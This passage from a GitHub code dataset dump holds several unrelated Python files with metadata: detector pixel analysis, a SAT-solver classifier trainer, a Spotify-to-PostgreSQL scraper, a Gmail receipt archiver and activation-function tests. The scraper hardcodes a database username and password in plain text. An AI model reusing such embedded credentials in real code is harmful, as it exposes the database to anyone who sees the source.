QFL2=FL2fits[:,2]\n    QiFL2=FL2fits[:,4]\n\n    accuratefs=[f0,f1,f2,f3,f4,f5,f6,f7]\n\n    accuratefQ=[]\n    indexofpickedapproxf1=[]\n    indexofpickedapproxf2=[]\n    indexOfDelAccuratef=[]\n    FL1j=0\n    FL2j=0\n\n    for roach in xrange(0,4):\n        fQroach=[]\n        for pixf in xrange(0,len(accuratefs[roach])):\n                foundmatch=0\n                i=0\n                while foundmatch==0:\n                    if FL1j+i+1< len(approxf1):\n                        if abs(accuratefs[roach][pixf]-approxf1[FL1j+i]) < closefcutoff:\n                            fQroach.append([accuratefs[roach][pixf],QFL1[FL1j+i],QiFL1[FL1j+i]])\n                            indexofpickedapproxf1.append(FL1j+i)\n                            foundmatch=1\n                            FL1j=FL1j+i+1\n                        else: \n                            i=i+1\n                    else: \n                        foundmatch=1\n                        indexOfDelAccuratef.append([roach,pixf])\n        accuratefQ.append(fQroach)\n    for roach in xrange(4,8):\n        fQroach=[]\n        for pixf in xrange(0,len(accuratefs[roach])):\n                foundmatch=0\n                i=0\n                while foundmatch==0:\n                    if FL2j+i+1< len(approxf2):\n                        if abs(accuratefs[roach][pixf]-approxf2[FL2j+i]) < closefcutoff:\n                            fQroach.append([accuratefs[roach][pixf],QFL2[FL2j+i],QiFL2[FL2j+i]])\n                            indexofpickedapproxf2.append(FL2j+i)\n                            foundmatch=1\n                            FL2j=FL2j+i+1\n                        else: \n                            i=i+1\n                    else: \n                        foundmatch=1\n                        indexOfDelAccuratef.append([roach,pixf])\n        accuratefQ.append(fQroach)\n    \n    approxfPicked2xFL1=[x for x, y in collections.Counter(indexofpickedapproxf1).items() if y > 1]\n    approxfPicked2xFL2=[x for x, y in collections.Counter(indexofpickedapproxf2).items() if y > 1]\n\n    #print indexOfDelAccuratef\n    #print len(approxf1),len(f0)+len(f1)+len(f2)+len(f3),len(accuratefQ[0])+len(accuratefQ[1])+len(accuratefQ[2])+len(accuratefQ[3])\n    #print len(accuratefQ[0]),len(f0),len(accuratefQ[1]),len(f1),len(accuratefQ[2]),len(f2),len(accuratefQ[3]),len(f3)\n\n    #print len(approxf2),len(f4)+len(f5)+len(f6)+len(f7),len(accuratefQ[4])+len(accuratefQ[5])+len(accuratefQ[6])+len(accuratefQ[7])\n    #print len(accuratefQ[4]),len(f4),len(accuratefQ[5]),len(f5),len(accuratefQ[6]),len(f6),len(accuratefQ[7]),len(f7)\n\n    return accuratefQ\n\n    #now have accuratefQ. The rows correspond to the roaches (1st row is r0) and the entries contain the f and Q for that pixel (accuratefQ[0][0]= [f,Q] for r0p0)\n\ndef getfQforgoodpix(bmaptitle, title1,titlefits1,title2,titlefits2):\n\n    #title1/2 gives the base of the filename for the frequency files for Feedline 1/2 (Don't include '.txt'). \n    #titlefist1/2 gives the filename of the fits file (include '.txt')\n    #bmaptitle gives the filename of the beammap (include '.h5')\n\n    closefcutoff=.0007  #when the program compares the approximate freq in frequency files to the accurate frequency in the fit file, it will accept a difference of the closefcutoff (GHz)\n\n    accuratefQ = createAccuratefQMatrix(bmaptitle, title1,titlefits1,title2,titlefits2,closefcutoff)\n\n    #now have accuratefQ. The rows correspond to the roaches (1st row is r0) and the entries contain the f and Q for that pixel (accuratefQ[0][0]= [f,Q] for r0p0)\n\n    fid=tables.openFile(bmaptitle)\n    b=fid.root.beammap.beamimage\n\n    pixlist = []\n    for row in xrange(0,46):\n        for column in xrange(0,44):\n            string=b[row][column]\n            a=re.findall(r'\\d+',string)\n            roachNum=int(a[0])\n            pixelNum=int(a[1])\n            if roachNum<8:\n                if pixelNum < len(accuratefQ[roachNum]):\n                    pixlist.append([[roachNum,pixelNum],accuratefQ[roachNum][pixelNum]])\n\n    fid.close()\n\n    pixlist=sorted(pixlist)\n\n    return pixlist\n\n", "repo_name": "bmazin/SDR", "sub_path": "Setup/DetectorAnalysis/PixelQualityfunc.py", "file_name": "PixelQualityfunc.py", "file_ext": "py", "file_size_in_byte": 5169, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "70", "api": [{"api_name": "numpy.loadtxt", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 39, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 90, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 91, "usage_type": "call"}, {"api_name": "tables.openFile", "line_number": 116, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 123, "usage_type": "call"}]}
{"seq_id": "9235756443", "text": "import argparse\n\nimport datetime\nfrom io_utils import SatReader, SatWriter\nfrom cdcl_wl import CDCL_WL\n# from cryptosat import CryptoSat\nimport os\nimport pickle\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score, f1_score, roc_auc_score, make_scorer\nfrom sklearn import svm\nfrom sklearn.neural_network import MLPClassifier\n\nfrom ml_utils import build_features\n\nCONFIGS = None\n\ndef add_arguments(parser):\n    \"\"\"Build ArgumentParser.\"\"\"\n    parser.register(\"type\", \"bool\", lambda v: v.lower() == \"true\")\n    parser.add_argument(\"--input\", type=str, default=\"inputs\", help=\"SAT input\")\n    parser.add_argument(\"--output\", type=str, default=\"dataset_output/\", help=\"SAT output\")\n    parser.add_argument(\"--model_dir\", type=str, default=\"model_dir/\", help=\"Model directory\")\n\ndef run_sat_solver_single(configs, input_path):\n    sat_reader = SatReader()\n    cnf = sat_reader.read_input(input_path)\n    solver_class = CDCL_WL\n    solver = solver_class(cnf.formula, [x+1 for x in range(cnf.num_props)], branching_heuristic=\"jw\")\n    metric = solver.solve()\n    sat_assignments = solver.assignments\n    return metric, cnf.formula, sat_assignments\n\ndef extract_input_name(input_path):\n    return os.path.basename(input_path)\n\ndef format_output_path(output_folder, output_name, out_type):\n    return os.path.join(output_folder, output_name + out_type)\n\ndef build_raw_dataset(configs):\n    datasets = []\n    for input_name in os.listdir(configs.input):\n        input_path = os.path.join(configs.input, input_name)\n        solver_metric, formula, assignments = run_sat_solver_single(configs, input_path)\n        if solver_metric.sat:\n            datasets.append([formula, assignments])\n    pickle.dump(datasets, open(os.path.join(configs.output, \"raw_dataset.p\"), \"wb\"))\n    return datasets\n\ndef build_dataset(configs, raw_datasets):\n    datasets = []\n    for formula, assignments in raw_datasets:\n        sub_datasets = build_dataset_from_formula_assignment(formula, assignments)\n        datasets += sub_datasets\n    pickle.dump(datasets, open(os.path.join(configs.output, \"dataset.p\"), \"wb\"))\n    return datasets\n\ndef is_unpure(formula, var):\n    flattened_formula = []\n    for clause in formula:\n        flattened_formula += clause\n    return var in flattened_formula and -var in flattened_formula\n\ndef build_dataset_from_formula_assignment(formula, assignments):\n    datasets = []\n    vars = np.random.permutation(list(assignments.keys()))\n    for var in vars:\n        if is_unpure(formula, var):\n            label = assignments[var][0]\n            features = build_features(formula, var)\n            formula = shorten_formula(formula, (var if label == 1 else -var))\n            datasets.append([features, label])\n    return datasets\n\ndef shorten_formula(formula, lit):\n    shortened_formula = []\n    for clause in formula:\n        if -lit in clause:\n            shortened_clause = []\n            for l in clause:\n                if l != -lit:\n                    shortened_clause.append(l)\n            shortened_formula.append(shortened_clause)\n        elif lit not in clause:\n            shortened_formula.append(clause)\n    return shortened_formula\n\ndef train_sat_ml(datasets, configs):\n    X, y = [], []\n    for feature, label in datasets:\n        X.append(feature[0])\n        y.append(label)\n    print(len(X), len(y))\n    print(\"num pos\", len([l for l in y if l == 1]))\n    print(\"num neg\", len([l for l in y if l == 0]))\n    decision_tree_classifier(X, y, configs)\n    random_forest_classifier(X, y, configs)\n    svm_classifier(X, y, configs)\n    neural_network_classifier(X, y, configs)\n\ndef decision_tree_classifier(X, y, configs):\n    print(\"-\" * 10 + \"Decision tree\" + \"-\" * 10)\n    clf_dt = DecisionTreeClassifier(random_state=0)\n    accuracy_scores = cross_val_score(clf_dt, X, y, scoring=make_scorer(accuracy_score), cv=10)\n    f1_scores = cross_val_score(clf_dt, X, y, scoring=make_scorer(f1_score), cv=10)\n    roc_auc_scores = cross_val_score(clf_dt, X, y, scoring=make_scorer(roc_auc_score), cv=10)\n    print(\"Average accuracy: {}\".format(sum(accuracy_scores)/len(accuracy_scores)))\n    print(\"Average f1: {}\".format(sum(f1_scores)/len(f1_scores)))\n    print(\"Average roc auc: {}\".format(sum(roc_auc_scores)/len(roc_auc_scores)))\n    clf_dt.fit(X, y)\n    pickle.dump(clf_dt, open(os.path.join(configs.model_dir, \"decision_tree.p\"), \"wb\"))\n\ndef random_forest_classifier(X, y, configs):\n    print(\"-\" * 10 + \"Random forest\" + \"-\" * 10)\n    clf_rf = RandomForestClassifier(n_estimators=10, max_depth=3, random_state=0)\n    accuracy_scores = cross_val_score(clf_rf, X, y, scoring=make_scorer(accuracy_score), cv=10)\n    f1_scores = cross_val_score(clf_rf, X, y, scoring=make_scorer(f1_score), cv=10)\n    roc_auc_scores = cross_val_score(clf_rf, X, y, scoring=make_scorer(roc_auc_score), cv=10)\n    print(\"Average accuracy: {}\".format(sum(accuracy_scores)/len(accuracy_scores)))\n    print(\"Average f1: {}\".format(sum(f1_scores)/len(f1_scores)))\n    print(\"Average roc auc: {}\".format(sum(roc_auc_scores)/len(roc_auc_scores)))\n    clf_rf.fit(X, y)\n    pickle.dump(clf_rf, open(os.path.join(configs.model_dir, \"random_forest.p\"), \"wb\"))\n\ndef svm_classifier(X, y, configs):\n    print(\"-\" * 10 + \"SVM\" + \"-\" * 10)\n    clf_svm = svm.SVC(gamma=\"scale\")\n    accuracy_scores = cross_val_score(clf_svm, X, y, scoring=make_scorer(accuracy_score), cv=10)\n    f1_scores = cross_val_score(clf_svm, X, y, scoring=make_scorer(f1_score), cv=10)\n    roc_auc_scores = cross_val_score(clf_svm, X, y, scoring=make_scorer(roc_auc_score), cv=10)\n    print(\"Average accuracy: {}\".format(sum(accuracy_scores)/len(accuracy_scores)))\n    print(\"Average f1: {}\".format(sum(f1_scores)/len(f1_scores)))\n    print(\"Average roc auc: {}\".format(sum(roc_auc_scores)/len(roc_auc_scores)))\n    clf_svm.fit(X, y)\n    pickle.dump(clf_svm, open(os.path.join(configs.model_dir, \"svm.p\"), \"wb\"))\n\ndef neural_network_classifier(X, y, configs):\n    print(\"-\" * 10 + \"Neural Network\" + \"-\" * 10)\n    clf_nn = MLPClassifier(solver='lbfgs', alpha=1e-5,\n                           hidden_layer_sizes=(15, 2), random_state=0)\n    accuracy_scores = cross_val_score(clf_nn, X, y, scoring=make_scorer(accuracy_score), cv=10)\n    f1_scores = cross_val_score(clf_nn, X, y, scoring=make_scorer(f1_score), cv=10)\n    roc_auc_scores = cross_val_score(clf_nn, X, y, scoring=make_scorer(roc_auc_score), cv=10)\n    print(\"Average accuracy: {}\".format(sum(accuracy_scores)/len(accuracy_scores)))\n    print(\"Average f1: {}\".format(sum(f1_scores)/len(f1_scores)))\n    print(\"Average roc auc: {}\".format(sum(roc_auc_scores)/len(roc_auc_scores)))\n    clf_nn.fit(X, y)\n    pickle.dump(clf_nn, open(os.path.join(configs.model_dir, \"neural_network.p\"), \"wb\"))\n\nif __name__ == \"__main__\":\n    solver_parser = argparse.ArgumentParser()\n    add_arguments(solver_parser)\n    CONFIGS, unparsed = solver_parser.parse_known_args()\n    raw_datasets = build_raw_dataset(CONFIGS)\n    datasets = build_dataset(CONFIGS, raw_datasets)\n    # datasets = pickle.load(open(os.path.join(CONFIGS.output, \"dataset.p\"), \"rb\"))\n    train_sat_ml(datasets, CONFIGS)", "repo_name": "nguyenvanhoang7398/CS4244-SAT-solver", "sub_path": "sat_ml.py", "file_name": "sat_ml.py", "file_ext": "py", "file_size_in_byte": 7294, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "io_utils.SatReader", "line_number": 30, "usage_type": "call"}, {"api_name": "cdcl_wl.CDCL_WL", "line_number": 32, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.random.permutation", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 70, "usage_type": "attribute"}, {"api_name": "ml_utils.build_features", "line_number": 74, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 107, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 108, "usage_type": "argument"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 109, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 109, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 109, "usage_type": "argument"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 110, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 110, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 110, "usage_type": "argument"}, {"api_name": "pickle.dump", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 119, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 120, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 120, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 120, "usage_type": "argument"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 121, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 121, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 121, "usage_type": "argument"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 122, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 122, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 122, "usage_type": "argument"}, {"api_name": "pickle.dump", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "sklearn.svm.SVC", "line_number": 131, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 131, "usage_type": "name"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 132, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 132, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 132, "usage_type": "argument"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 133, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 133, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 133, "usage_type": "argument"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 134, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 134, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 134, "usage_type": "argument"}, {"api_name": "pickle.dump", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "sklearn.neural_network.MLPClassifier", "line_number": 143, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 145, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 145, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 145, "usage_type": "argument"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 146, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 146, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 146, "usage_type": "argument"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 147, "usage_type": "call"}, {"api_name": "sklearn.metrics.make_scorer", "line_number": 147, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 147, "usage_type": "argument"}, {"api_name": "pickle.dump", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 155, "usage_type": "call"}]}
{"seq_id": "5115052950", "text": "import argparse\nimport datetime\nimport psycopg2\nimport spotipy\nfrom spotipy.oauth2 import SpotifyOAuth\nimport re\n\n# Set up PostgreSQL\nHOST = 'my-postgresql-container'\nDATABASE_NAME = 'song_stars'\nDATABASE_USER = 'pinchi'\nDATABASE_PASSWORD = 'Pinch0000'\n# Check date format\nDATE_LENGTH = 10\n\n\nclass SpotifyClient:\n    def __init__(self, client_id, client_secret, redirect_uri):\n        self.client = spotipy.Spotify(auth_manager=SpotifyOAuth(\n            client_id=client_id,\n            client_secret=client_secret,\n            redirect_uri=redirect_uri,\n            scope=\"user-library-read\"\n        ))\n\n    def get_playlist_tracks(self, playlist_url):\n        playlist_id = re.search(r'playlist\\/(.*)\\?', playlist_url).group(1)\n        return self.client.playlist_items(playlist_id)['items']\n\n    def search_and_store_tracks(self, keyword):\n        # Search for public playlists containing keyword and return playlists\n        playlists = self.client.search(\n            q=keyword,\n            type='playlist',\n            limit=5\n        )['playlists']['items']\n        tracks = []\n        for playlist in playlists:\n            playlist_tracks = self.client.playlist_items(\n                playlist.get('id'),\n                limit=30\n            )['items']\n            tracks += playlist_tracks\n        return tracks\n\n\nclass Database:\n    def __init__(self, host, database, user, password, table_name):\n        self.conn = psycopg2.connect(\n            host=host,\n            database=database,\n            user=user,\n            password=password\n        )\n        self.cur = self.conn.cursor()\n        self.table_name = table_name\n\n    def create_tracks_table(self):\n        self.cur.execute(f\"\"\"\n            CREATE TABLE IF NOT EXISTS {self.table_name} (\n                id VARCHAR(255) PRIMARY KEY,\n                name VARCHAR(255),\n                artist VARCHAR(255),\n                album VARCHAR(255),\n                release_date DATE,\n                duration INTERVAL,\n                popularity INT\n            )\n        \"\"\")\n        self.conn.commit()\n\n    def insert_track(\n        self,\n        track_id,\n        track_name,\n        artist_name,\n        album_name,\n        release_date,\n        duration_ms,\n        popularity\n    ):\n        duration = datetime.timedelta(milliseconds=duration_ms)\n        self.cur.execute(\n            f\"\"\"\n            INSERT INTO {self.table_name} (\n                id,\n                name,\n                artist,\n                album,\n                release_date,\n                duration,\n                popularity\n            )\n            SELECT %s, %s, %s, %s, %s, %s, %s\n            WHERE NOT EXISTS (\n                SELECT 1 FROM tracks WHERE id = %s\n            )\n            ON CONFLICT (id) DO NOTHING\n            \"\"\",\n            (\n                track_id,\n                track_name,\n                artist_name,\n                album_name,\n                release_date,\n                duration,\n                popularity,\n                track_id\n            )\n        )\n        self.conn.commit()\n        print(f\"Inserted track {track_id} - {track_name}\")\n\n    def close(self):\n        self.cur.close()\n        self.conn.close()\n\n\nclass PlaylistImporter:\n    def __init__(self, keyword, client, database):\n        # self.playlist_url = playlist_url\n        self.client = client\n        self.database = database\n        self.keyword = keyword\n\n    def modify_date(self, date):\n        \"\"\"\n        >>> modify_date('2019')\n        '2019-01-01'\n        >>> modify_date('2023-03-10')\n        '2023-03-10'\n        \"\"\"\n        if len(date) == DATE_LENGTH:\n            return date\n        # if we only have year data, set the month and day to 01-01\n        if len(date) == 4:\n            date += '-01-01'\n            return date\n        return date\n\n    def import_playlist(self):\n        tracks = self.client.search_and_store_tracks(self.keyword)\n        for item in tracks:\n            track = item['track']\n            track_id = track['id']\n            track_name = track['name']\n            artist_name = track['artists'][0]['name']\n            album_name = track['album']['name']\n            duration_ms = track['duration_ms']\n            popularity = track['popularity']\n            release_date = track['album']['release_date']\n            self.database.insert_track(\n                track_id,\n                track_name,\n                artist_name,\n                album_name,\n                self.modify_date(release_date),\n                duration_ms,\n                popularity\n            )\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(description='Scrape data using Spotipy')\n    parser.add_argument('--id', type=str, required=True,\n                        help='Spotify API client ID')\n    parser.add_argument('--s', type=str, required=True,\n                        help='Spotify API secret')\n    parser.add_argument(\n        '--k',\n        type=str,\n        help='Keyword for searching playlists'\n    )\n    return parser.parse_args()\n\n\ndef main():\n    # Create a Spotify client and a database connection\n    args = parse_args()\n    client_id, secret, keyword = args.id, args.s, args.k\n    spotify_client = SpotifyClient(client_id, secret, 'http://localhost:3000/')\n    database = Database(HOST, DATABASE_NAME, DATABASE_USER, DATABASE_PASSWORD, 'keyword_tracks')\n\n    # Create the 'tracks' table if it doesn't exist yet\n    database.create_tracks_table()\n    # Import the playlist into the database\n    playlist_importer = PlaylistImporter(\n        keyword,  # get the keyword\n        spotify_client,\n        database\n    )\n    playlist_importer.import_playlist()\n    # Close the database connection\n    database.close()\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "PinChiSu/AllPopularSongs-I-want", "sub_path": "get_data.py", "file_name": "get_data.py", "file_ext": "py", "file_size_in_byte": 5761, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "spotipy.Spotify", "line_number": 19, "usage_type": "call"}, {"api_name": "spotipy.oauth2.SpotifyOAuth", "line_number": 19, "usage_type": "call"}, {"api_name": "re.search", "line_number": 27, "usage_type": "call"}, {"api_name": "psycopg2.connect", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 82, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 164, "usage_type": "call"}]}
{"seq_id": "1101766715", "text": "# -*- coding: utf-8 -*-\n\"\"\"This module EasyRide Quittung from Gmail.\"\"\"\nimport contextlib\nfrom email.header import decode_header\nfrom pathlib import PurePath\nfrom imaplib import IMAP4\nfrom typing import List\n\nfrom . import gmail\n\n\ndef save_file(file_part, target_dir: PurePath) -> None:\n    filename, payload = gmail.fetch_file(file_part)\n    with open(target_dir / filename, 'wb') as f:\n        f.write(payload)\n\n\ndef fetch_and_archive_receipts(creds: gmail.Credentials,\n                               download_dir: PurePath) -> None:\n    with contextlib.closing(gmail.connect(creds)) as inbox:\n        receipt_mail_numbers = inbox.search_inbox(\"EasyRide Kaufquittung\")\n        receipt_mail_numbers.extend(inbox.search_inbox(\"EasyRide Quittung\"))\n        receipt_mail_numbers.extend(inbox.search_inbox(\"EasyRide receipt\"))\n        for receipt_mail_no in receipt_mail_numbers:\n            msg = inbox.fetch(receipt_mail_no)\n            pdf_part = list(msg.walk())[4]\n            save_file(pdf_part, download_dir)\n            inbox.archive(receipt_mail_no)\n", "repo_name": "gregorias/findata-fetcher", "sub_path": "fetcher/easyride.py", "file_name": "easyride.py", "file_ext": "py", "file_size_in_byte": 1056, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pathlib.PurePath", "line_number": 12, "usage_type": "name"}, {"api_name": "pathlib.PurePath", "line_number": 19, "usage_type": "name"}, {"api_name": "contextlib.closing", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "26109149879", "text": "import numpy as np\nimport scipy \nimport warnings\nimport os \nimport sys \nimport pytest\n\n# Add the project2/src/ directory to the python path so we can import the code \n# we need to use directly as 'from  import '\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'src'))\n\nfrom activation import Activation\n\ndef test_activation_init() :\n    # Ensure the setup is handled correctly when initializing an instance\n    # of the activation class\n    act = Activation()\n\n    # Default values\n    assert act.function == act._sigmoid\n    assert act.alpha    == pytest.approx(0.01)\n\n    # String to correct function conversion\n    act = Activation(function = 'tanh')\n    assert act.function == act._tanh\n\n    act = Activation(function = 'relu')\n    assert act.function == act._relu\n\n    act = Activation(function = 'leakyrelu')\n    assert act.function == act._leakyrelu\n\n    act = Activation(function = 'sigmoid')\n    assert act.function == act._sigmoid\n\n    # Check wrong string error is handled correctly\n    caught = False\n    try :\n        act = Activation(function = 'this_is_not_an_allowed_string')\n    except ValueError as e :\n        caught = True\n    assert caught == True\n\n    # Check alpha value specification is handled correctly\n    alpha = 0.867\n    act = Activation(function = 'relu', alpha = alpha)\n    assert act.alpha == pytest.approx(alpha)\n\n\ndef test_activation_set() :\n    # Default values\n    act = Activation()\n\n    # Ensure that changing default values result in changed function calls\n    act.set(function = 'tanh')\n    assert act.function == act._tanh\n\n    act.set(function = 'relu')\n    assert act.function == act._relu\n\n    act.set(function = 'leakyrelu')\n    assert act.function == act._leakyrelu\n\n    # Check wrong string error is handled correctly\n    caught = False\n    try :\n        act.set(function = 'this_is_not_an_allowed_string')\n    except ValueError as e :\n        caught = True\n    assert caught == True\n\n    # Ensure alpha values are set correctly\n    alpha = 0.867\n    act.set(alpha = alpha)\n    assert act.alpha == pytest.approx(alpha)\n\n\ndef test_activation_functions() :\n    # Ensure the correct values are calculated by the member functions\n\n    # We compare against sklearn functions\n    from sklearn.neural_network._base import tanh, relu\n    from scipy.special import expit as sigmoid\n\n    N = 100\n\n    act = Activation(function = 'sigmoid')\n    x = np.random.uniform(-10.0, 10.0, size=(N,1))\n    assert act(x) == pytest.approx(sigmoid(x))\n\n    act.set(function = 'tanh')\n    x = np.random.uniform(-10.0, 10.0, size=(N,1))\n    assert act(x) == pytest.approx(tanh(x))\n\n    act.set(function = 'relu')\n    x = np.random.uniform(-10.0, 10.0, size=(N,1))\n    assert act(x) == pytest.approx(relu(x))\n\n    alpha = 2.5082958\n    act.set(function = 'leakyrelu', alpha = alpha)\n    x = np.random.uniform(-10.0, 10.0, size=(N,1))\n    assert act(x) == pytest.approx( (x>=0.0)*x + (x<0.0)*alpha*x )\n    \n    \n\n\n\n\n", "repo_name": "mortele/FYS-STK4155", "sub_path": "project2/test/test_activation.py", "file_name": "test_activation.py", "file_ext": "py", "file_size_in_byte": 2977, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "activation.Activation", "line_number": 17, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 21, "usage_type": "call"}, {"api_name": "activation.Activation", "line_number": 24, "usage_type": "call"}, {"api_name": "activation.Activation", "line_number": 27, "usage_type": "call"}, {"api_name": "activation.Activation", "line_number": 30, "usage_type": "call"}, {"api_name": "activation.Activation", "line_number": 33, "usage_type": "call"}, {"api_name": "activation.Activation", "line_number": 39, "usage_type": "call"}, {"api_name": "activation.Activation", "line_number": 46, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 47, "usage_type": "call"}, {"api_name": "activation.Activation", "line_number": 52, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 75, "usage_type": "call"}, {"api_name": "activation.Activation", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 88, "usage_type": "attribute"}, {"api_name": "pytest.approx", "line_number": 89, "usage_type": "call"}, {"api_name": "scipy.special.expit", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pytest.approx", "line_number": 93, "usage_type": "call"}, {"api_name": "sklearn.neural_network._base.tanh", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 96, "usage_type": "attribute"}, {"api_name": "pytest.approx", "line_number": 97, "usage_type": "call"}, {"api_name": "sklearn.neural_network._base.relu", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 101, "usage_type": "attribute"}, {"api_name": "pytest.approx", "line_number": 102, "usage_type": "call"}]}
